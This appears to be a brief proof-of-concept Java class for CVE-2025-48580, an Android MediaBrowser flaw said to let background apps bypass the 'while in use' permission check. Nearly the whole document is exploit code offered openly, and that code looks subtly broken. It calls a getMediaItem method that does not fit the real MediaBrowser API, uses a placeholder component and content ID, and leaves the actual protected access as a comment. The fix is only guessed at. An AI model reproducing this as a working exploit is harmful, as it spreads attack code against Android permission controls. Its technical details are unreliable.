CVE-2025-48580

// CVE-2025-48580 PoC - Android MediaBrowser权限提升漏洞演示 // 此PoC展示如何在后台状态下访问受保护的MediaBrowser服务 import android.content.ComponentName; import android.content.Context; import android.media.browse.MediaBrowser; import android.os.Bundle; public class MediaBrowserExploit { private MediaBrowser mMediaBrowser; private Context mContext; // Vulnerable code path in MediaBrowser.java connectInternal() // The issue: Background apps can bypass 'while in use' permission check private void exploitVulnerability() { // Initialize MediaBrowser connection mMediaBrowser = new MediaBrowser( mContext, new ComponentName("com.android.media", "MediaBrowserService"), mConnectionCallback, null // Bundle passed as null ); // Connect while app is in background state // Due to logic error in connectInternal(), this bypasses permission check mMediaBrowser.connect(); // After successful connection, access protected media content // This should normally require foreground app state } private MediaBrowser.ConnectionCallback mConnectionCallback = new MediaBrowser.ConnectionCallback() { @Override public void onConnected() { // Successfully connected despite being in background // Access media items that require 'while in use' permission MediaBrowser.MediaItem mediaItem = mMediaBrowser.getMediaItem("protected-content-id"); // Read sensitive media metadata or control media playback } @Override public void onConnectionFailed() { // Handle connection failure } }; } // Technical details from Android source code commit: // https://android.googlesource.com/platform/frameworks/base/+/eb19b27ed8abe9070df9fb85bc9693c8d4ba321b // The fix likely involves adding proper foreground/background state verification // before granting 'while in use' permission access in MediaBrowser
